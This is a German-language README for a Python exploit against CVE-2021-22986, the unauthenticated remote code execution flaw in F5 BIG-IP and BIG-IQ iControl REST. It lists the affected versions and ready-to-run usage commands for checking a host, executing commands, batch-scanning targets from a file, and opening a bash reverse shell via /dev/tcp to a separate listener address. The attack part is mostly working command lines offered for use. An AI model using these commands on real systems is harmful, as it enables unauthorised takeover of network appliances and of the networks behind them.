
Python-Exploit für CVE-2021-22986, das nicht authentifizierte RCE auf F5 BIG-IP und BIG-IQ über iControl REST ermöglicht, mit Befehlsausführung, Batch-Scanning und Reverse-Shell-Funktionen.
Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern mit Netzwerkzugriff auf die iControl REST-Schnittstelle über die BIG-IP-Verwaltungsschnittstelle und Selbst-IP-Adressen, beliebige Systembefehle auszuführen, Dateien zu erstellen oder zu löschen und Dienste zu deaktivieren. Diese Schwachstelle kann nur über die Control Plane ausgenutzt werden und nicht über die Data Plane. Die Ausnutzung kann zu einer vollständigen Kompromittierung des Systems führen. Das BIG-IP-System im Appliance-Modus ist ebenfalls verwundbar.
F5 BIG-IQ 6.0.0-6.1.0 F5 BIG-IQ 7.0.0-7.0.0.1 F5 BIG-IQ 7.1.0-7.1.0.2 F5 BIG-IP 12.1.0-12.1.5.2 F5 BIG-IP 13.1.0-13.1.3.5 F5 BIG-IP 14.1.0-14.1.3.1 F5 BIG-IP 15.1.0-15.1.2 F5 BIG-IP 16.0.0-16.0.1
python3 CVE_2021_22986.py
python3 CVE_2021_22986.py -v true -u https://192.168.174.164
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami
python3 CVE_2021_22986.py -s true -f check.txt
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"
python3 newpoc.py https://192.168.174.164